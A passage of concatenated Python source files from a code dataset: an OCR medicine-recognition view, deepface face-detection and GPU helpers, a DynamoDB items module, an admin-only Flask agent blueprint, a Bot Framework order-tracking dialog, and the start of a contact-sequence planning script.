t.join()\n\n        send_threads = []\n        thread_results = [None, None, None, None]\n        for i in [angle, angle+90, angle+180, angle+270]:  #\n            t = threading.Thread(target=self.multipost, args=(i, thread_results))\n            send_threads.append(t)\n            t.start()\n\n        for t in send_threads:\n            t.join()\n\n\n        i = 0\n        predictions = []\n        result = []\n        for res in thread_results:\n            print (res)\n            if res and res['ParsedResults'][0][\"ParsedText\"]:\n                ocr_result = res['ParsedResults'][0][\"ParsedText\"]\n                print(\"sending: \" + ocr_result.split()[0])\n                predictions.append(ocr_result.split()[0])\n\n        print(\"predictions:\" + str(predictions))\n\n        min_distance = 10\n        result = \"\"\n        for prediction in predictions:\n            post_out, res_distance = ocr_word_predictions(3, prediction)\n            if post_out:\n                if min_distance > res_distance:\n                    min_distance = res_distance\n                    result = post_out\n\n        predictions = []\n        predictions.append(result)\n        res_list = []\n        if predictions:\n            if predictions[0]:\n                print(\"result: \" + str(predictions[0]))\n                #medicine_name, category = retrieve_medicine_json(predictions[0])\n                #res_list.append(medicine_name)\n                res_list.append(retrieve_medicine_json(predictions[0]))\n                #print(\"len reslist: \" + str(len(res_list)))\n\n\n\n\n                # Todo: Create a new thread to store sift features\n                if res:\n                    t = threading.Thread(target=store_sift_features, args=(BW, predictions[0], res_list[0]))\n                    t.start()\n\n\n                return Response({'ocr_result': res_list}, status=201)\n\n        return Response({'ocr_result': [\"Cannot Recognize\"]}, status=201)\n\n    def multipost(self, im_no, thread_results):\n            apikey = \"XXXXXXXXXXXX\" # get an api key from the site\n            headers = {\n                'apikey': apikey\n            }\n            data = {'file': open(\"p\" + str(im_no) + \".jpg\", 'rb')}\n            print(str(im_no) + \" request sent\")\n            r = requests.post('https://api.ocr.space/parse/image', files=data, headers=headers)\n            thread_results[im_no//90] = r.json()\n            return\n\n    def store_sift_feautres_post(self, image, med_name, json_file):\n        store_sift_features(image, med_name, json_file)\n        return\n","sub_path":"Recognition/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"261004258","text":"import os\nimport numpy as np\nimport pandas as pd\nfrom keras.preprocessing.image import load_img, save_img, img_to_array\nfrom keras.applications.imagenet_utils import preprocess_input\nfrom keras.preprocessing import image\nimport cv2\nfrom pathlib import Path\nimport gdown\nimport hashlib\nimport math\nfrom PIL import Image\nimport copy\nimport base64\nimport multiprocessing\nimport subprocess\nimport tensorflow as tf\nimport keras\n\ndef loadBase64Img(uri):\n   encoded_data = uri.split(',')[1]\n   nparr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n   img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n   return img\n\ndef distance(a, b):\n\tx1 = a[0]; y1 = a[1]\n\tx2 = b[0]; y2 = b[1]\n\t\n\treturn math.sqrt(((x2 - x1) * (x2 - x1)) + ((y2 - y1) * (y2 - y1)))\n\ndef findFileHash(file):\n\tBLOCK_SIZE = 65536 # The size of each read from the file\n\n\tfile_hash = hashlib.sha256() # Create the hash object, can use something other than `.sha256()` if you wish\n\twith open(file, 'rb') as f: # Open the file to read it's bytes\n\t\tfb = f.read(BLOCK_SIZE) # Read from the file. Take in the amount declared above\n\t\twhile len(fb) > 0: # While there is still data being read from the file\n\t\t\tfile_hash.update(fb) # Update the hash\n\t\t\tfb = f.read(BLOCK_SIZE) # Read the next block from the file\n\t\n\treturn file_hash.hexdigest()\n\ndef initializeFolder():\n\t\n\thome = str(Path.home())\n\t\n\tif not os.path.exists(home+\"/.deepface\"):\n\t\tos.mkdir(home+\"/.deepface\")\n\t\tprint(\"Directory \",home,\"/.deepface created\")\n\t\n\tif not os.path.exists(home+\"/.deepface/weights\"):\n\t\tos.mkdir(home+\"/.deepface/weights\")\n\t\tprint(\"Directory \",home,\"/.deepface/weights created\")\n\t\n\t#----------------------------------\n\t\"\"\"\n\t#avoid interrupted file download\n\t\n\tweight_hashes = [\n\t\t['age_model_weights.h5', '0aeff75734bfe794113756d2bfd0ac823d51e9422c8961125b570871d3c2b114']\n\t\t, ['facenet_weights.h5', '90659cc97bfda5999120f95d8e122f4d262cca11715a21e59ba024bcce816d5c']\n\t\t, ['facial_expression_model_weights.h5', 'e8e8851d3fa05c001b1c27fd8841dfe08d7f82bb786a53ad8776725b7a1e824c']\n\t\t, ['gender_model_weights.h5', '45513ce5678549112d25ab85b1926fb65986507d49c674a3d04b2ba70dba2eb5']\n\t\t, ['openface_weights.h5', '5b41897ec6dd762cee20575eee54ed4d719a78cb982b2080a87dc14887d88a7a']\n\t\t, ['race_model_single_batch.h5', 'eb22b28b1f6dfce65b64040af4e86003a5edccb169a1a338470dde270b6f5e54']\n\t\t, ['vgg_face_weights.h5', '759266b9614d0fd5d65b97bf716818b746cc77ab5944c7bffc937c6ba9455d8c']\n\t]\n\t\n\tfor i in weight_hashes:\n\t\t\n\t\tweight_file = home+\"/.deepface/weights/\"+i[0]\n\t\texpected_hash = i[1]\n\t\t\n\t\t#check file exits\n\t\tif os.path.isfile(weight_file) == True:\n\t\t\tcurrent_hash = findFileHash(weight_file)\n\t\t\tif current_hash != expected_hash:\n\t\t\t\tprint(\"hash violated for \", i[0],\". It's going to be removed.\")\n\t\t\t\tos.remove(weight_file)\n\t\"\"\"\n\t#----------------------------------\n\ndef findThreshold(model_name, distance_metric):\n\t\n\tthreshold = 0.40\n\t\n\tif model_name == 'VGG-Face':\n\t\tif distance_metric == 'cosine':\n\t\t\tthreshold = 0.40\n\t\telif distance_metric == 'euclidean':\n\t\t\tthreshold = 0.55\n\t\telif distance_metric == 'euclidean_l2':\n\t\t\tthreshold = 0.75\t\n\t\n\telif model_name == 'OpenFace':\n\t\tif distance_metric == 'cosine':\n\t\t\tthreshold = 0.10\n\t\telif distance_metric == 'euclidean':\n\t\t\tthreshold = 0.55\n\t\telif distance_metric == 'euclidean_l2':\n\t\t\tthreshold = 0.55\n\t\n\telif model_name == 'Facenet':\n\t\tif distance_metric == 'cosine':\n\t\t\tthreshold = 0.40\n\t\telif distance_metric == 'euclidean':\n\t\t\tthreshold = 10\n\t\telif distance_metric == 'euclidean_l2':\n\t\t\tthreshold = 0.80\n\t\n\telif model_name == 'DeepFace':\n\t\tif distance_metric == 'cosine':\n\t\t\tthreshold = 0.23\n\t\telif distance_metric == 'euclidean':\n\t\t\tthreshold = 64\n\t\telif distance_metric == 'euclidean_l2':\n\t\t\tthreshold = 0.64\n\t\n\treturn threshold\n\ndef get_opencv_path():\n\topencv_home = cv2.__file__\n\tfolders = opencv_home.split(os.path.sep)[0:-1]\n\t\n\tpath = folders[0]\n\tfor folder in folders[1:]:\n\t\tpath = path + \"/\" + folder\n\n\tface_detector_path = path+\"/data/haarcascade_frontalface_default.xml\"\n\teye_detector_path = path+\"/data/haarcascade_eye.xml\"\n\t\n\tif os.path.isfile(face_detector_path) != True:\n\t\traise ValueError(\"Confirm that opencv is installed on your environment! Expected path \",face_detector_path,\" violated.\")\n\t\n\treturn path+\"/data/\"\n\ndef detectFace(img, target_size=(224, 224), grayscale = False):\n\t\n\t#-----------------------\n\t\n\texact_image = False\n\tif type(img).__module__ == np.__name__:\n\t\texact_image = True\n\t\n\tbase64_img = False\n\tif len(img) > 11 and img[0:11] == \"data:image/\":\n\t\tbase64_img = True\n\n\t#-----------------------\n\t\n\topencv_path = get_opencv_path()\n\tface_detector_path = opencv_path+\"haarcascade_frontalface_default.xml\"\n\teye_detector_path = opencv_path+\"haarcascade_eye.xml\"\n\t\n\tif os.path.isfile(face_detector_path) != True:\n\t\traise ValueError(\"Confirm that opencv is installed on your environment! Expected path \",face_detector_path,\" violated.\")\n\t\n\t#--------------------------------\n\t\n\tface_detector = cv2.CascadeClassifier(face_detector_path)\n\teye_detector = cv2.CascadeClassifier(eye_detector_path)\n\t\n\tif base64_img == True:\n\t\timg = loadBase64Img(img)\n\t\t\n\telif exact_image != True: #image path passed as input\n\t\t\n\t\tif os.path.isfile(img) != True:\n\t\t\traise ValueError(\"Confirm that \",img,\" exists\")\n\t\t\n\t\timg = cv2.imread(img)\n\t\n\timg_raw = img.copy()\n\t\n\t#--------------------------------\n\t\n\tfaces = face_detector.detectMultiScale(img, 1.3, 5)\n\t\n\t#print(\"found faces in \",image_path,\" is \",len(faces))\n\t\n\tif len(faces) > 0:\n\t\tx,y,w,h = faces[0]\n\t\tdetected_face = img[int(y):int(y+h), int(x):int(x+w)]\n\t\tdetected_face_gray = cv2.cvtColor(detected_face, cv2.COLOR_BGR2GRAY)\n\t\t\n\t\t#---------------------------\n\t\t#face alignment\n\t\t\n\t\teyes = eye_detector.detectMultiScale(detected_face_gray)\n\t\t\n\t\tif len(eyes) >= 2:\n\t\t\t#find the largest 2 eye\n\t\t\tbase_eyes = eyes[:, 2]\n\t\t\t\n\t\t\titems = []\n\t\t\tfor i in range(0, len(base_eyes)):\n\t\t\t\titem = (base_eyes[i], i)\n\t\t\t\titems.append(item)\n\t\t\t\n\t\t\tdf = pd.DataFrame(items, columns = [\"length\", \"idx\"]).sort_values(by=['length'], ascending=False)\n\t\t\t\n\t\t\teyes = eyes[df.idx.values[0:2]]\n\t\t\t\n\t\t\t#-----------------------\n\t\t\t#decide left and right eye\n\t\t\t\n\t\t\teye_1 = eyes[0]; eye_2 = eyes[1]\n\t\t\t\n\t\t\tif eye_1[0] < eye_2[0]:\n\t\t\t\tleft_eye = eye_1\n\t\t\t\tright_eye = eye_2\n\t\t\telse:\n\t\t\t\tleft_eye = eye_2\n\t\t\t\tright_eye = eye_1\n\t\t\t\n\t\t\t#-----------------------\n\t\t\t#find center of eyes\n\t\t\t\n\t\t\tleft_eye_center = (int(left_eye[0] + (left_eye[2] / 2)), int(left_eye[1] + (left_eye[3] / 2)))\n\t\t\tleft_eye_x = left_eye_center[0]; left_eye_y = left_eye_center[1]\n\t\t\t\n\t\t\tright_eye_center = (int(right_eye[0] + (right_eye[2]/2)), int(right_eye[1] + (right_eye[3]/2)))\n\t\t\tright_eye_x = right_eye_center[0]; right_eye_y = right_eye_center[1]\n\t\t\t\n\t\t\t#-----------------------\n\t\t\t#find rotation direction\n\t\t\t\t\n\t\t\tif left_eye_y > right_eye_y:\n\t\t\t\tpoint_3rd = (right_eye_x, left_eye_y)\n\t\t\t\tdirection = -1 #rotate same direction to clock\n\t\t\telse:\n\t\t\t\tpoint_3rd = (left_eye_x, right_eye_y)\n\t\t\t\tdirection = 1 #rotate inverse direction of clock\n\t\t\t\n\t\t\t#-----------------------\n\t\t\t#find length of triangle edges\n\t\t\t\n\t\t\ta = distance(left_eye_center, point_3rd)\n\t\t\tb = distance(right_eye_center, point_3rd)\n\t\t\tc = distance(right_eye_center, left_eye_center)\n\t\t\t\n\t\t\t#-----------------------\n\t\t\t#apply cosine rule\n\t\t\t\n\t\t\tcos_a = (b*b + c*c - a*a)/(2*b*c)\n\t\t\tangle = np.arccos(cos_a) #angle in radian\n\t\t\tangle = (angle * 180) / math.pi #radian to degree\n\t\t\t\n\t\t\t#-----------------------\n\t\t\t#rotate base image\n\t\t\t\n\t\t\tif direction == -1:\n\t\t\t\tangle = 90 - angle\n\t\t\t\n\t\t\timg = Image.fromarray(img_raw)\n\t\t\timg = np.array(img.rotate(direction * angle))\n\t\t\t\n\t\t\t#you recover the base image and face detection disappeared. apply again.\n\t\t\tfaces = face_detector.detectMultiScale(img, 1.3, 5)\n\t\t\tif len(faces) > 0:\n\t\t\t\tx,y,w,h = faces[0]\n\t\t\t\tdetected_face = img[int(y):int(y+h), int(x):int(x+w)]\n\t\t\t\n\t\t\t#-----------------------\n\t\t\n\t\t#face alignment block end\n\t\t#---------------------------\n\t\t\n\t\t#face alignment block needs colorful images. that's why, converting to gray scale logic moved to here.\n\t\tif grayscale == True:\n\t\t\tdetected_face = cv2.cvtColor(detected_face, cv2.COLOR_BGR2GRAY)\n\t\t\n\t\tdetected_face = cv2.resize(detected_face, target_size)\n\t\t\n\t\timg_pixels = image.img_to_array(detected_face)\n\t\timg_pixels = np.expand_dims(img_pixels, axis = 0)\n\t\t\n\t\t#normalize input in [0, 1]\n\t\timg_pixels /= 255\n\t\t\n\t\treturn img_pixels\n\t\t\n\telse:\n\t\t\n\t\tif exact_image == True:\n\t\t\t\n\t\t\tif grayscale == True:\n\t\t\t\timg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\t\t\t\n\t\t\timg = cv2.resize(img, target_size)\n\t\t\timg_pixels = image.img_to_array(img)\n\t\t\timg_pixels = np.expand_dims(img_pixels, axis = 0)\n\t\t\timg_pixels /= 255\n\t\t\treturn img_pixels\n\t\telse:\n\t\t\traise ValueError(\"Face could not be detected in \", img,\". Please confirm that the picture is a face photo.\")\n\t\t\t\ndef allocateMemory():\n\t\n\t#find allocated memories\n\tgpu_indexes = []\n\tmemory_usage_percentages = []; available_memories = []; total_memories = []; utilizations = []\n\tpower_usages = []; power_capacities = []\n\t\n\ttry:\n\t\tresult = subprocess.check_output(['nvidia-smi'])\n\n\t\tdashboard = result.decode(\"utf-8\").split(\"=|\")\n\n\t\tdashboard = dashboard[1].split(\"\\n\")\n\t\t\n\t\tgpu_idx = 0\n\t\tfor line in dashboard:\n\t\t\tif (\"MiB\" in line):\n\t\t\t\tpower_info = line.split(\"|\")[1]\n\t\t\t\tpower_capacity = int(power_info.split(\"/\")[-1].replace(\"W\", \"\"))\n\t\t\t\tpower_usage = int((power_info.split(\"/\")[-2]).strip().split(\" \")[-1].replace(\"W\", \"\"))\n\t\t\t\t\n\t\t\t\tpower_usages.append(power_usage)\n\t\t\t\tpower_capacities.append(power_capacity)\n\t\t\t\t\n\t\t\t\t#----------------------------\n\t\t\t\t\n\t\t\t\tmemory_info = line.split(\"|\")[2].replace(\"MiB\",\"\").split(\"/\")\n\t\t\t\tutilization_info = int(line.split(\"|\")[3].split(\"%\")[0])\n\t\t\t\t\n\t\t\t\tallocated = int(memory_info[0])\n\t\t\t\ttotal_memory = int(memory_info[1])\n\t\t\t\tavailable_memory = total_memory - allocated\n\t\t\t\t\n\t\t\t\ttotal_memories.append(total_memory)\n\t\t\t\tavailable_memories.append(available_memory)\n\t\t\t\tmemory_usage_percentages.append(round(100*int(allocated)/int(total_memory), 4))\n\t\t\t\tutilizations.append(utilization_info)\n\t\t\t\tgpu_indexes.append(gpu_idx)\n\t\t\t\t\n\t\t\t\tgpu_idx = gpu_idx + 1\n\t\t\n\t\tgpu_count = gpu_idx * 1\n\t\t\t\t\n\texcept Exception as err:\n\t\tgpu_count = 0\n\t\t#print(str(err))\n\t\t\n\t#------------------------------\n\t\n\tdf = pd.DataFrame(gpu_indexes, columns = [\"gpu_index\"])\n\tdf[\"total_memories_in_mb\"] = total_memories\n\tdf[\"available_memories_in_mb\"] = available_memories\n\tdf[\"memory_usage_percentage\"] = memory_usage_percentages\n\tdf[\"utilizations\"] = utilizations\n\tdf[\"power_usages_in_watts\"] = power_usages\n\tdf[\"power_capacities_in_watts\"] = power_capacities\n\t\n\tdf = df.sort_values(by = [\"available_memories_in_mb\"], ascending = False).reset_index(drop = True)\n\t\n\t#------------------------------\n\t\n\trequired_memory = 10000 #All deepface models require 9016 MiB\n\t\n\tif df.shape[0] > 0: #has gpu\n\t\tif df.iloc[0].available_memories_in_mb > required_memory:\n\t\t\tmy_gpu = str(int(df.iloc[0].gpu_index))\n\t\t\tos.environ[\"CUDA_VISIBLE_DEVICES\"] = my_gpu\n\t\t\t\n\t\t\t#------------------------------\n\t\t\t#tf allocates all memory by default\n\t\t\t#this block avoids greedy approach\n\t\t\t\n\t\t\tconfig = tf.ConfigProto()\n\t\t\tconfig.gpu_options.allow_growth = True\n\t\t\tsession = tf.Session(config=config)\n\t\t\tkeras.backend.set_session(session)\n\t\t\t\n\t\t\tprint(\"DeepFace will run on GPU (gpu_\", my_gpu,\")\")\n\t\telse:\n\t\t\t#this case has gpu but no enough memory to allocate\n\t\t\tos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"\" #run it on cpu\n\t\t\tprint(\"Even though the system has GPUs, there is no enough space in memory to allocate.\")\n\t\t\tprint(\"DeepFace will run on CPU\")\n\telse:\n\t\tprint(\"DeepFace will run on CPU\")\n\t\n\t#------------------------------\n","sub_path":"deepface/commons/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":11526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"227019305","text":"import os\n\nfrom aws_scatter_gather.util.trace import trace\n\nSCOPE = os.environ.get(\"SCOPE\", \"\")\n\nITEMS_TABLE = \"{SCOPE}s3-sqs-lambda-async-chunked-items\".format(SCOPE=SCOPE)\n\n\nasync def get_item(item_no, dynamodb_resource):\n    async with trace(\"Get item {}\", item_no):\n        table = await dynamodb_resource.Table(ITEMS_TABLE)\n        response = await table.get_item(Key={\"itemNo\": item_no})\n        return response.get('Item', None)\n\n\nasync def new_batch_writer(dynamodb_resource):\n    table = await dynamodb_resource.Table(ITEMS_TABLE)\n    return table.batch_writer(overwrite_by_pkeys=[\"itemNo\"])\n\n\nasync def put_item(item, batch_writer):\n    async with trace(\"Put item {}\", item.get(\"itemNo\", None)):\n        await batch_writer.put_item(Item=item)\n","sub_path":"src/aws_scatter_gather/s3_sqs_lambda_async/resources/items_table.py","file_name":"items_table.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"60040790","text":"import requests\nfrom flask import Blueprint, jsonify, request, abort, session, render_template\nfrom app_init import app, client\nfrom utils import logger_create\nfrom database import db_connect, YmlConfig\n\n\nlogger = logger_create('agent')\nblueprint = Blueprint('agent', __name__, url_prefix='/agent')\nyaml_path = '/agent/hosts.yml'\n\n\ndef __hosts():\n    db = db_connect()\n    try:\n        yml = db.query(YmlConfig).filter_by(path=yaml_path).first()\n        if not yml:\n            db.close()\n            abort(404)\n        results = yml.load()\n        db.close()\n        return results\n    except Exception as e:\n        db.close()\n        logger.exception(e)\n        return str(e), 500\n\n\n@blueprint.route('/')\n@app.check_login(['admin'])\ndef index():\n    return render_template('agent.html')\n\n\n#=====================================================================\n# host\n@blueprint.route('/host/list', methods=['POST'])\n@app.check_login(['admin'])\ndef host_list():\n    if session['role'] not in ['admin']:\n        abort(403)\n\n    try:\n        results = list(__hosts().keys())\n        results.sort()\n        logger.debug('resutlts = %s' % results)\n        return jsonify(results)\n    except Exception as e:\n        logger.exception(e)\n        return str(e), 500\n\n\n#=====================================================================\n# script\n@blueprint.route('/script/list', methods=['POST'])\n@app.check_login(['admin'])\ndef script_list():\n    if session['role'] not in ['admin']:\n        abort(403)\n    try:\n        host_id = request.json['host_id']\n    except:\n        abort(400)\n\n    try:\n        host = __hosts()[host_id]\n        results = requests.post('http://%s/list' % host, timeout=10.0).json()\n        results.sort()\n        return jsonify(results)\n    except Exception as e:\n        logger.exception(e)\n        return str(e), 500\n\n\n@blueprint.route('/script/get', methods=['POST'])\n@app.check_login(['admin'])\ndef script_get():\n    if session['role'] not in ['admin']:\n        abort(403)\n    try:\n        host_id = request.json['host_id']\n        script_id = request.json['script_id']\n    except:\n        abort(400)\n\n    try:\n        host = __hosts()[host_id]\n        results = requests.post('http://%s/get' % host, json={'id': script_id}, timeout=10.0).text\n        return results\n    except Exception as e:\n        logger.exception(e)\n        return str(e), 500\n\n\n@blueprint.route('/script/update', methods=['POST'])\n@app.check_login(['admin'])\ndef script_update():\n    if session['role'] not in ['admin']:\n        abort(403)\n    try:\n        print(request.json)\n        host_id = request.json['host_id']\n        script_id = request.json['script_id']\n        content = request.json['content']\n    except:\n        abort(400)\n\n    try:\n        host = __hosts()[host_id]\n        results = requests.post('http://%s/update' % host, json={'id': script_id, 'content': content}, timeout=10.0).text\n        return results\n    except Exception as e:\n        logger.exception(e)\n        return str(e), 500\n\n\n@blueprint.route('/script/run', methods=['POST'])\n@app.check_login(['admin'])\ndef script_run():\n    if session['role'] not in ['admin']:\n        abort(403)\n    try:\n        host_id = request.json['host_id']\n        script_id = request.json['script_id']\n    except:\n        abort(400)\n\n    try:\n        host = __hosts()[host_id]\n        results = requests.post('http://%s/run' % host, json={'id': script_id}, timeout=600.0).text\n        return results\n    except Exception as e:\n        logger.exception(e)\n        return str(e), 500\n","sub_path":"route/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"198791651","text":"sum = 0\r\nMAX_LENGTH = 0\r\n# for i in range(1,44):\r\n#     file = open(\"data/Bible/pair\" + str(i) + \".txt\", \"r\", encoding=\"UTF-8\")\r\n#     text = file.read().strip()\r\n#     thing = text.split(\"\\n\")\r\n#     for t in thing:\r\n#         if len(t) <= 1:\r\n#             thing.remove(t)\r\n#         if len(t.split(\"\\t\")[0]) > MAX_LENGTH:\r\n#             MAX_LENGTH = len(t.split(\"\\t\")[0])\r\n#     print(i, len(thing))\r\n#     sum += len(thing)\r\n#     print(\"total\", sum)\r\n\r\nfile = open(\"janus-master/data/tatoeba.txt\", \"r\", encoding=\"UTF-8\")\r\ntext = file.read()\r\nlines = text.split(\"\\n\")\r\nfor l in lines:\r\n    sum += 1\r\n    if len(l.split(\"\\t\")[0]) >MAX_LENGTH:\r\n        #print(MAX_LENGTH)\r\n        MAX_LENGTH= len(l.split(\"\\t\")[0])\r\n#print(sum)\r\n#print(MAX_LENGTH)\r\n\r\ndef getMaxLen():\r\n    return MAX_LENGTH\r\n#80% of tatoeba is 16,990 sentences","sub_path":"janus/DataSplitting.py","file_name":"DataSplitting.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"359531279","text":"# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\nfrom datatypes_date_time.timex import Timex\n\nfrom botbuilder.dialogs import WaterfallDialog, WaterfallStepContext, DialogTurnResult\nfrom botbuilder.dialogs.prompts import ConfirmPrompt, TextPrompt, PromptOptions\nfrom botbuilder.core import MessageFactory\nfrom botbuilder.schema import InputHints\nfrom helpers.luis_helper import LuisHelper, Intent\nfrom ordering_recognizer import OrderingRecognizer\nfrom .cancel_and_help_dialog import CancelAndHelpDialog\nfrom .date_resolver_dialog import DateResolverDialog\nimport json\n\nclass OrderTrackingDialog(CancelAndHelpDialog):\n    def __init__(self,luis_recognizer: OrderingRecognizer,dialog_id: str = None):\n        super(OrderTrackingDialog, self).__init__(dialog_id or OrderTrackingDialog.__name__)\n        self._luis_recognizer = luis_recognizer\n        self.add_dialog(TextPrompt(TextPrompt.__name__))\n        self.add_dialog(ConfirmPrompt(ConfirmPrompt.__name__))\n        self.add_dialog(DateResolverDialog(DateResolverDialog.__name__))\n        self.add_dialog(\n            WaterfallDialog(\n                WaterfallDialog.__name__,\n                [\n                    self.email_step,\n                    self.orderid_step,\n                    self.final_step,\n                ],\n            )\n        )\n        self.initial_dialog_id = WaterfallDialog.__name__\n\n    async def email_step(\n        self, step_context: WaterfallStepContext\n    ) -> DialogTurnResult:\n        \"\"\"\n        If a destination city has not been provided, prompt for one.\n        :param step_context:\n        :return DialogTurnResult:\n        \"\"\"\n        ordering_details = step_context.options\n        if ordering_details.email is None:\n            message_text = \"Please enter your email id.\"\n            prompt_message = MessageFactory.text(\n                message_text, message_text, InputHints.expecting_input\n            )\n            return await step_context.prompt(\n                TextPrompt.__name__, PromptOptions(prompt=prompt_message)\n            )\n        return await step_context.next(ordering_details.email)\n\n    async def orderid_step(self, step_context: WaterfallStepContext) -> DialogTurnResult:\n        \"\"\"\n        If an origin city has not been provided, prompt for one.\n        :param step_context:\n        :return DialogTurnResult:\n        \"\"\"\n        ordering_details = step_context.options\n\n        # Capture the response to the previous step's prompt\n        ordering_details.email = step_context.result\n        if ordering_details.orderid is None:\n            message_text = \"Please enter your order id.\"\n            prompt_message = MessageFactory.text(\n                message_text, message_text, InputHints.expecting_input\n            )\n            return await step_context.prompt(\n                TextPrompt.__name__, PromptOptions(prompt=prompt_message)\n            )\n        # return await step_context.next(ordering_details.orderid)\n        user_input = \"\"\n        return await step_context.next(user_input)\n\n    async def final_step(self, step_context: WaterfallStepContext) -> DialogTurnResult:\n        \"\"\"\n        Complete the interaction and end the dialog.\n        :param step_context:\n        :return DialogTurnResult:\n        \"\"\"\n        ordering_details = step_context.options\n        # ordering_details.orderid = step_context.result\n        intent, luis_result = await LuisHelper.execute_luis_query(\n            self._luis_recognizer, step_context.context\n        )\n        msg_txt = \"Your order has arrived at chicago and will be delivered in 2 days.\"\n        dict = {}\n        dict[\"input\"] = step_context.context.activity.text\n        dict[\"text\"] = msg_txt\n        dict[\"intent\"] = intent\n        ents = {}\n        for i in luis_result.__dict__.keys():\n            if luis_result.__dict__[i] != None:\n                ents[i] = luis_result.__dict__[i]\n                setattr(ordering_details, i, luis_result.__dict__[i])\n        dict[\"entities\"] = ents\n        dict[\"context\"] = step_context.options.__dict__\n        txt = json.dumps(dict)\n        return await step_context.end_dialog(txt)\n\n\n    def is_ambiguous(self, timex: str) -> bool:\n        timex_property = Timex(timex)\n        return \"definite\" not in timex_property.types\n","sub_path":"dialogs/ordertracking_dialog.py","file_name":"ordertracking_dialog.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"639598030","text":"import mlp.config as cfg\nimport mlp.viewer.display_tools as display_tools\nimport os\nimport eigenpy\nimport time\nimport pinocchio\nimport curves\nimport multicontact_api\neigenpy.switchToNumpyArray()\n\ntry:\n    #python2\n    input = raw_input\nexcept NameError:\n    pass\n\ntStart = time.time()\nprint(\"### MLP : contact sequence ###\")\nimport mlp.contact_sequence as contactGeneration\ncs, fullBody, viewer = contactGeneration.generateContactSequence()\ncontactGeneration.Outputs.assertRequirements(cs)\ngui = viewer.client.gui\n\n\nif cfg.WRITE_STATUS:\n    f = open(cfg.STATUS_FILENAME, \"a\")\n    f.write(\"gen_cs_success: True\\n\")\n    f.close()\n\nif cfg.DISPLAY_CS_STONES:\n    display_tools.displaySteppingStones(cs, gui, viewer.sceneName, cfg.Robot)\nif cfg.DISPLAY_CS:\n    if display_tools.DisplayContactSequenceRequirements.checkAndFillRequirements(cs, cfg, fullBody):\n        input(\"Press Enter to display the contact sequence ...\")\n        display_tools.displayContactSequence(viewer, cs)\n\nprint(\"------------------------------\")\nprint(\"### MLP : centroidal, initial Guess ###\")\nimport mlp.centroidal.initGuess as centroidalInitGuess\nif not centroidalInitGuess.Inputs.checkAndFillRequirements(cs,cfg, fullBody):\n    raise RuntimeError(\"The current contact sequence cannot be given as input to the centroidalInitGuess method selected.\")\ncs_initGuess = centroidalInitGuess.generateCentroidalTrajectory(cs, fullBody=fullBody, viewer=viewer)\ncentroidalInitGuess.Outputs.assertRequirements(cs_initGuess)\n\nif cfg.DISPLAY_INIT_GUESS_TRAJ and cs_initGuess:\n    colors = [viewer.color.red, viewer.color.yellow]\n    display_tools.displayCOMTrajectory(cs_initGuess, gui, viewer.sceneName, cfg.SOLVER_DT, colors, \"_init\")\n\ncs_ref = None\ncs_wb = None\ncs_wb_iters = []\ncs_com_iters = []\ncs_ref_iters = []\nfor iterDynFilter in range(cfg.ITER_DYNAMIC_FILTER + 1):\n    if iterDynFilter > 0:\n        print(\"\\n########################################\")\n        print(\"#### Iter \" + str(iterDynFilter) + \" of the dynamic filter.  #### \")\n        print(\"######################################## \\n\")\n        cfg.IK_trackAM = False\n        cfg.w_am = cfg.w_am_track\n        cfg.kp_am = cfg.kp_am_track\n        if cs_wb is not None:\n            cs_initGuess = cs_wb\n\n    print(\"------------------------------\")\n    print(\"### MLP : centroidal  ###\")\n    import mlp.centroidal as centroidal\n    if not centroidal.Inputs.checkAndFillRequirements(cs,cfg,fullBody):\n        raise RuntimeError(\"The current contact sequence cannot be given as input to the centroidal method selected.\")\n    cs_com = centroidal.generateCentroidalTrajectory(cs, cs_initGuess, fullBody, viewer, iterDynFilter == 0)\n    centroidal.Outputs.assertRequirements(cs_com)\n    cs_com_iters += [cs_com]\n\n    if cfg.WRITE_STATUS and iterDynFilter == 0:\n        f = open(cfg.STATUS_FILENAME, \"a\")\n        f.write(\"centroidal_success: True\\n\")\n        f.close()\n\n    if cfg.DISPLAY_COM_TRAJ:\n        colors = [viewer.color.blue, viewer.color.green]\n        display_tools.displayCOMTrajectory(cs_com, gui, viewer.sceneName, cfg.DT_DISPLAY, colors)\n    if cfg.PLOT_CENTROIDAL:\n        import mlp.utils.plot as plot\n        plot.plotCOMTraj(cs_com, cfg.SOLVER_DT, \" - iter \"+str(iterDynFilter))\n        plot.plotAMTraj(cs_com, cfg.SOLVER_DT, \" - iter \"+str(iterDynFilter))\n        plot.plt.show(block=False)\n\n\n    print(\"------------------------------\")\n    print(\"### MLP : End effector initial Guess  ###\")\n    if cs_ref is not None and cs_ref.haveEffectorsTrajectories(1e-2):\n        print(\"Try to copy from previous iteration.\")\n        from mlp.utils.cs_tools import copyEffectorTrajectories\n        cs_ref = copyEffectorTrajectories(cs_ref, cs_com)\n    if cs_ref is None:\n        import mlp.end_effector.initGuess as effectorsInitGuess\n        if not effectorsInitGuess.Inputs.checkAndFillRequirements(cs_com, cfg, fullBody):\n            raise RuntimeError(\"The current contact sequence cannot be given as input to the end effector method selected.\")\n        cs_ref = effectorsInitGuess.generateEffectorTrajectoriesForSequence(cs_com, fullBody)\n        effectorsInitGuess.Outputs.assertRequirements(cs_ref)\n    cs_ref_iters += [cs_ref]\n\n    if cfg.DISPLAY_ALL_FEET_TRAJ:\n        from mlp.viewer.display_tools import displayEffectorTrajectories\n        